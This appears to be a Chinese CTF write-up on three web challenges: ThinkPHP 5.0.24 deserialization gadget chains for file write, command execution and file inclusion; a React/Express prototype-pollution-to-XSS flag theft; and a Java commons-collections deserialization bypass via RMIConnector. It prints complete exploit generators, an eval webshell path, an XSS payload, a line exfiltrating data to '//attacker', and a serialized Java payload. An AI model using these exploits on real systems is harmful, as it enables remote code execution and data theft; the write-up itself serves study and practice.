开学后跟着NeSe的第一场比赛,学到很多东西。挑了三个有意思的题,讲一讲有趣的部分
tp5.0.24有一条经典的写文件gadget,参考文章:ThinkPHP5.0.x RCE分析与利用。参考文章中反序列化入口__destruct至任意文件写入sink的调用栈如下
think\cache\driver\File->set()
think\session\driver\Memcached->write()
think\console\Output->write()
think\console\Output->writeln()
think\console\Output->block()
think\console\Output->call_user_func_array
think\console\Output->__call()
think\console\Output->getAttr()
think\model\Pivot->toArray()
think\model\Pivot->toJson()
think\model\Pivot->__toString()
think\process\pipes\Windows>file_exists()
think\process\pipes\Windows->removeFiles()
think\process\pipes\Windows->__destruct()由于参考文章写的比较详细,这里就简单对该链做个小结。此链关键的调用在/thinkphp/library/think/Model.php#912
满足if条件的构造后$value值仍可控,此时攻击者可以赋值$value为任意对象,在调用getAttr方法时转而调用该对象中的__call方法,继而链接后续的利用。该gadget的原作者利用think\console\Output中的__call方法衔接,从而在Output对象的block方法中进一步深挖到任意文件写操作
可利用如下exp生成序列化数据,关于if条件的构造直接阅读exp也比较直观。
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler = new File();//目的调用File->set()
}
}
namespace think\cache\driver;#File
class File{
protected $options = [];
protected $tag;
function __construct(){
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/write=string.rot13/resource=./<?cuc cucvasb();riny($_TRG[pzq]);?>',
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));这个链的利用是结合了0x01章节文件写的前部链,加thinkphp5.1.37反序列化中的RCE部分,调用栈如下
Request.php:1094, think\Request->filterValue()
Request.php:1040, think\Request->input()
Request.php:706, think\Request->get()
Memcache.php:66, think\cache\driver\Memcache->has()
Memcache.php:98, think\cache\driver\Memcache->set()
Memcached.php:102, think\session\driver\Memcached->write()
Output.php:154, think\console\Output->write()
Output.php:143, think\console\Output->writeln()
Output.php:124, think\console\Output->block()
Output.php:212, call_user_func_array:{/Applications/MxSrvs/www/nese.localhost.com/revenge/thinkphp/library/think/console/Output.php:212}()
Output.php:212, think\console\Output->__call()
Model.php:912, think\console\Output->getAttr()
Model.php:912, think\model\Pivot->toArray()
Model.php:936, think\model\Pivot->toJson()
Model.php:2267, think\model\Pivot->__toString()
Windows.php:163, file_exists()
Windows.php:163, think\process\pipes\Windows->removeFiles()
Windows.php:59, think\process\pipes\Windows->__destruct()对比0x01的调用栈,很明显能够看出在think\session\driver\Memcached->write()
之前的调用与0x01完全相同。
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, 0, $this->config['expire']);
}而此链在调用write方法时,将$this->handler指向think\cache\driver\Memcache对象,跟进调用Memcahce->set的核心代码如下
public function set($name, $value, $expire = null){
...
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key = $this->getCacheKey($name);
...
}继续跟进$this->has($name)后紧接着调用$this->handler->get($key);
public function has($name)
{
$key = $this->getCacheKey($name);
return false !== $this->handler->get($key);
}既然此处的$this->handler依然可控,我们就可以拼接上参考文章的后半部分,使$this->handler指向think\Request对象,进而调用其get方法如下
关于think\Request如何构造rce完全可以参考上面(5.1.37反序列化)的文章。这里我们只需要调整$this->get参数,意即$_GET数组中存在$name为键名的键值对,后续的rce所用的commond会从$_GET[$name]中获取到。至于如何拿到$name值,大家调试一下会比较清楚。这里给出我的exp,http-get传递rce指令为?hpdoger<getAttr>no<=whoami
<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{
}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
namespace think\model;#Relation
use think\db\Query;
abstract class Relation{
protected $selfRelation;
protected $query;
function __construct(){
$this->selfRelation = false;
$this->query = new Query();#class Query
}
}
namespace think\model\relation;#OneToOne HasOne
use think\model\Relation;
abstract class OneToOne extends Relation{
function __construct(){
parent::__construct();
}
}
class HasOne extends OneToOne{
protected $bindAttr = [];
function __construct(){
parent::__construct();
$this->bindAttr = ["no","123"];
}
}
namespace think\console;#Output
use think\session\driver\Memcached;
class Output{
private $handle = null;
protected $styles = [];
function __construct(){
$this->handle = new Memcached();//目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think;#Model
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model{
protected $append = [];
protected $error;
public $parent;#修改处
protected $selfRelation;
protected $query;
protected $aaaaa;
function __construct(){
$this->parent = new Output();#Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne();//Relation子类,且有getBindAttr()
$this->selfRelation = false;//isSelfRelation()
$this->query = new Query();
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think\session\driver;#Memcached
use think\cache\driver\Memcache;
class Memcached{
protected $handler = null;
function __construct(){
// $this->handler = new File();//目的调用File->set()
$this->handler = new Memcache();
}
}
namespace think\cache\driver;
use think\Request;
class Memcache
{
protected $handler;
protected $options;
protected $tag;
public function __construct()
{
$this->tag = true;
$this->options['prefix'] = 'hpdoger';
$this->handler = new Request();
}
}
namespace think;
class Request
{
protected $filter='system';
protected $param = [];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
那么以我这个exp而言$name为hpdoger<getAttr>no<
在比赛过程中,mads和张师傅发现另一条sink为任意文件包含操作,代码位置在thinkphp/library/think/cache/driver/Lite.php#get
如何调用到Lite#get操作?与0x02部分的调用栈几乎完全相同,只需将think\Request对象换为think\cache\driver\Lite。
get函数这里跟进getCacheKey可以读出include所需文件名的生成规则,因此我们只需要利用0x01部分的任意文件写入即可联动write->include
protected function getCacheKey($name)
{
return $this->options['path'] . $this->options['prefix'] . md5($name) . '.php';
}值得注意的是在get函数中会对文件进行时间戳的判定,先上传的文件会被删除。那这里就需要我们竞争地向服务器中写入文件
$mtime = filemtime($filename);
if ($mtime < time()) {
// 清除已经过期的文件
unlink($filename);
return $default;
}至于利用和exp,看了0x02部分应该不难写出~
题目功能简单,以react为前端框架,express为后端。大致的思路是prototype pollution=>xss=>steal flag
题目代码量不小,这里分步骤来介绍。由于笔者比赛时在steal flag步骤被卡,这部分会重点讲解。赛后请教了宇宙第一[email protected](zxsyyds)后学习了另一种非预期的解法,这里也会一并归纳
首先讲一下react框架基础,笔者也是做题时第一次接触并尝试debug。总的来说react是组件化的框架,开发者将html中的各部分元素封装为不同的组件,调用Props属性传递变量,各个组件维护自己的状态和UI,这些组件的渲染由react提供的render函数负责。当组件状态state 有更改的时候,React会自动调用组件的render 方法重新渲染整个组件的UI
react路由在渲染/submit页面时使用useEffect注册了hook函数
useEffect(() => {
const queries = {}
parseStr(location.search.replace('?', ''), queries)
setName(queries.name || '')
setEmail(queries.email || '')
setPhone(queries.phone || '')
window.fetch(`${baseAPI}get-flag`)
.then(a => a.text())
.then(a => {
const s = a.split('')
let index = 0
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}
fn()
})
}, [])parseStr的参数为用户完全可控,然而这里的parseStr来自于locutus/php/strings;虽然parseStr最新版本修复了之前的prototype pollution,禁止用户传递参数时携带如下字段
但重点看parse部分逻辑,在解析时遇到.|[|字段会被替换为字段_
if (chr === ' ' || chr === '.' || chr === '[') {
keys[0] = keys[0].substr(0, j) + '_' + keys[0].substr(j + 1)
}那我们就可以用__proto_.轻易绕过对关键字__proto__的检测
XSS部分相对简单,只是不易发现。Submit.js是处理/submit路由的逻辑,在渲染页面时使用useEffect注册了钩子函数如下,name属性值来自url传递可控
useEffect(() => {
if (name !== 'Loading') {
notify(`Dear ${name}, welcome!`, 'info')
}
}, [name])notify函数引入自reapop用来作页面提示,将消息实时渲染给前端用户。跟踪库函数的代码发现notify初始化时会检测参数allowHTML是否存在,如果allowHTML存在则允许notify渲染的消息中包含html
至此我们可以借助原型链污染allowHTML参数后在name属性值插入我们的xss payload
http://localhost:3000/submit?__proto_.[allowHTML]=1&name=<svg/onload%3dalert(1)>
这一部分是题目的难点,首先让我们看看难在哪里
后端express关于/get-flag路由的逻辑如下
app.get('/get-flag', async (req, res) => {
const secret = req.cookies[cookieName] ? req.cookies[cookieName] : ''
res.clearCookie(cookieName)
if (cookieNonce.has(secret)) {
cookieNonce.delete(secret)
res.write(flag)
res.end()
} else {
res.write('sample{Welcome to get flag}')
res.end()
}
})同时,react关于/submit路由渲染时会主动调用如下代码
const [flag, setFlag] = useState('')
window.fetch(`${baseAPI}get-flag`)
.then(a => a.text())
.then(a => {
const s = a.split('')
let index = 0
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}
fn()
})关于此障碍点总结:管理员在访问路由/submit时会进行一次fetch get-flag的请求,而cookieNonce只存储了一个临时secret。由于我们的xss发生在/submit页面,所以当我们用javascript再次对/get-flag进行请求时,cookieNonce已经被管理员的第一次访问置空,从而无法获取flag。
而这段window.fetch的代码也比较诡异,它使用setFlag不断更新flag字段。
const [flag, setFlag] = useState('')
const fn = () => {
setFlag(s[index++])
if (index < s.length) {
setTimeout(fn, 100)
}
}useState是关于状态值的提取和更新,它存储的属性值会被挂在Fibernode的memoizedState上,如图
看了上图后可能会好奇Fibernode是什么?其实,在react中有一个比较重要的概念叫做Fibernode,它构成react生命周期中Node Tree数据结构上的节点。我们知道react是基于(组件)运行的框架,任何ReactComponent都会被绑定在Fibernode上。Component的生成是用JSX来描述的,例如:
<App>
<Router>
</Router>
</App>此时这两个Component会绑定在两个Fibernode上,根节点指向App这个组件实例,它的子节点child指向Router组件实例。而react生命周期中的路由函数、provider都可以看作是Component,能够遍历Node Tree得到。
除此之外,react调用render或者更新DOM节点,本质都是在对Node Tree中某一Fibernode的操作。
上图所示,遍历整个树的过程属于深度优先,一旦到达叶子节点,就开始创建FiberNode对应的实例,例如对应的DomElement实例,节点内容即在属性workInProgress.memoizedProps中,最后DomElement实例通过__reactInternalInstance$[randomKey]属性建立与自己的FiberNode的联系.
回到题目,我们需要获取submit函数组件实例绑定的Fibernode,从而在它的链表(memoizedState)里获得setFlag设置的flag更新值。
那么从根节点DOM元素.App来追踪,第十个child指向submit函数组件所绑定的Fibernode
最终在该Fibernode的链表中,遍历得到第四个节点为flag最后更新的属性值,其实也可以查代码中的useState个数来确定flag所在的链表节点数。
至此我们只要通过js设置一个计时器,不断获取flag更新后的lastRenderedState值并外带直到获取完全flag,参考exp如下
exp = `const app = document.querySelector('.App')
const key = Object.keys(document.querySelector(".App"))[0]
let ifiber = app[key]
let st = setInterval(()=>{
let c = ifiber.child.child.child.child.child.child.child.child.child.child.memoizedState.next.next.next.next.queue.lastRenderedState;
console.log(c)
if(c == "}"){
clearInterval(st)
}
}, 100)`
payload = btoa(exp)
encodeURIComponent(`<svg/onload=eval(atob("${payload}"))>`)这里再提一下非预期@ROIS:污染String.prototype.split=function(s){fetch('//attacker/flag?'+this.toString())};,来看下图代码执行的步骤就能理解
window.fetch会在所有同步JS代码执行完成后再异步,这里涉及到一些v8异步IO的知识。通常网络请求类异步函数(fetch)和setTimeout都是在代码段的最后再去执行,因此我们在notify部分执行xss payload,能够影响fetch回调函数中的a.split操作,从而将flag实参传递出来
出题人裸给了反序列化接口/buggy逻辑如下
public class IndexController {
@RequestMapping({"/buggy"})
public String index(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Utils.hexStringToBytes(data);
InputStream inputStream = new ByteArrayInputStream(b);
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(inputStream);
String name = myObjectInputStream.readUTF();
int year = myObjectInputStream.readInt();
if (name.equals("0CTF/TCTF") && year == 2021)
myObjectInputStream.readObject();
return "index";
}
}题目给出环境存在依赖commons-collections-3.2.1,因为题目作者在反序列化时实现了自己的MyObjectInputStream,它将自身的classloader设置为URLClassLoader,并调用loadClass载入类实例
这要求在反序列化时不能存在数组对象,否则Class.forName会在动态加载类进内存时报Class not found的错误,这一部分在白猪师傅关于shiro反序列化的文章已有说明,不再赘述。
首先简单回顾一下yso中的CC利用,以transfrom函数调用为核心点
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, `iParamTypes`);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}公开的sink大致可以分为ChainedTransformer链式调用Runtime.getRuntime().exec()和TemplatesImpl.newTransformer调用defineClass进行RCE。前者需要构造iTransformers数组导致无法利用,后者在shiro中能够利用,详情也可以参考:关于shiro反序列
那么我们回到本题,重点探讨一下为什么TemplatesImpl.newTransformer无法利用?这里我们需要明确一个概念,Class.forName只能够加载8个基本类型的数组对象实例,这8个类型分别为
shiro-1.2.4环境中,进行类加载的Classloader为ParallelWebappClassLoader,它继承自WebappClassLoaderBase
在动态加载类时会调用cl.loadClass即ParallelWebappClassLoader.loadClass
进一步向上委派到WebappClassLoaderBase.loadClass如下代码段所示,这里面的逻辑就比较有意思了。例如我们想要装载类为byte类型的二维数组,此时的name值为[[B。在clazz = this.findClass(name)并不能找到[[B.class,但在第一个catch中并没有直接抛出异常,而是向后继续执行判断!delegateLoad成立后再去调用Class.forName来加载基本数据类型的数组对象实例
public Class<?> loadClass(String name, boolean resolve){
try {
clazz = this.findClass(name);
if (resolve) {
this.resolveClass(clazz);
}
var10000 = clazz;
return var10000;
}catch (ClassNotFoundException var17) {
}
if (!delegateLoad) {
try {
clazz = Class.forName(name, false, this.parent);
if (clazz == null) {
throw new ClassNotFoundException(name);
}
...
} catch (ClassNotFoundException var14) {
throw new ClassNotFoundException(name);
}
}
}跟进Class.forName后也能看到,在内部调用forName0加载到了[[B类型的Class
能加载数组对象实例这一点至关重要,我们可以看到在TemplatesImpl利用点的构造中,_bytecodes属性值中写入了一个二维byte数组作恶意的字节码。
而在题目环境中this.classLoader直接指向URLClassloader
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
Class<?> clazz = this.classLoader.loadClass(desc.getName());
return clazz;
}此时调用其内部的URLClassloader.findClass去寻找类的过程中,并不能找到[[B.class这样的编译文件,于是直接抛出异常报错。
protected Class<?> findClass(final String name)
throws ClassNotFoundException
{
final Class<?> result;
try {
result = AccessController.doPrivileged(
new PrivilegedExceptionAction<Class<?>>() {
public Class<?> run() throws ClassNotFoundException {
String path = name.replace('.', '/').concat(".class");
Resource res = ucp.getResource(path, false);
if (res != null) {
try {
return defineClass(name, res);
} catch (IOException e) {
throw new ClassNotFoundException(name, e);
}
} else {
return null;
}
}
}, acc);
} catch (java.security.PrivilegedActionException pae) {
throw (ClassNotFoundException) pae.getException();
}
if (result == null) {
throw new ClassNotFoundException(name);
}
return result;
}总结地来说,TemplatesImpl之所以能在shiro的环境利用成功,因为其Classloader是URLClassloader的子类WebappClassLoaderBase,它重写了loadClass方法,使用Class.forName来加载8个基本类型的数组对象Class。而URLClassloader的loadClass并没有Class.forName的操作,无法加载数组对象Class,于是_bytecodes在还原时抛出异常
于是现在的目标变为寻找TemplatesImpl的替代品:寻找一处反射调用的sink,并且在整个利用中不存在数组对象,最终借助白猪师傅的tabby工具(yyds)找到了利用点javax.management.remote.rmi.RMIConnector#findRMIServerJRMP
这个利用点巧妙的地方在于,此处的base64属性值可控,截取自内部的成员变量this.jmxServiceURL,将base64解码成字节码后,对其进行反序化操作,且使用的是ObjectInputStream!
我们只需要在base64构造一个能打common-collections-3.2.1的反序列化数据就行,相当于这里二次反序列化了。整个链构造起来比较简单,参考白猪师傅的ÇC10即可,exp如下
package com.yxxx.buggyLoader;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.PrototypeFactory;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.management.modelmbean.ModelMBeanOperationInfo;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.net.URLConnection;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Random;
public class Payload {
public static void main(String[] args) throws Exception {
String b64str = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IANG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5rZXl2YWx1ZS5UaWVkTWFwRW50cnmKrdKbOcEf2wIAAkwAA2tleXQAEkxqYXZhL2xhbmcvT2JqZWN0O0wAA21hcHQAD0xqYXZhL3V0aWwvTWFwO3hwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAACBsr+ur4AAAAzABwBAB95c29zZXJpYWwvUHduZXIxMTgxMTI3MDA3NDc3NDc1BwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAClNvdXJjZUZpbGUBABpQd25lcjExODExMjcwMDc0Nzc0NzUuamF2YQEACDxjbGluaXQ+AQADKClWAQAEQ29kZQEAEWphdmEvbGFuZy9SdW50aW1lBwAKAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwADAANCgALAA4BAChvcGVuIC9TeXN0ZW0vQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwCAAQAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAEgATCgALABQBAA1TdGFja01hcFRhYmxlAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAFwEABjxpbml0PgwAGQAICgAYABoAIQACABgAAAAAAAIACAAHAAgAAQAJAAAAJAADAAIAAAAPpwADAUy4AA8SEbYAFVexAAAAAQAWAAAAAwABAwABABkACAABAAkAAAARAAEAAQAAAAUqtwAbsQAAAAAAAQAFAAAAAgAGdXEAfgAOAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAAC4ADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXEAfgAJWwALaVBhcmFtVHlwZXNxAH4ACHhwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAHQADm5ld1RyYW5zZm9ybWVydXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABAAAAAAeHh0AAF0eA==";
RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL("service:jmx:rmi://asd/stub/" + b64str), new HashMap<>());
final InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector);
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
Reflections.setAccessible(f);
HashMap innimpl = null;
innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
Reflections.setAccessible(f2);
Object[] array = new Object[0];
array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
Reflections.setAccessible(keyField);
keyField.set(node, entry);
Reflections.setFieldValue(transformer, "iMethodName", "connect");
String payload = Utils.objectToHexString(map);
System.out.println(payload);
}
}在b64str字段替换为反序列化打Common-collections-3.2.1的数据即可
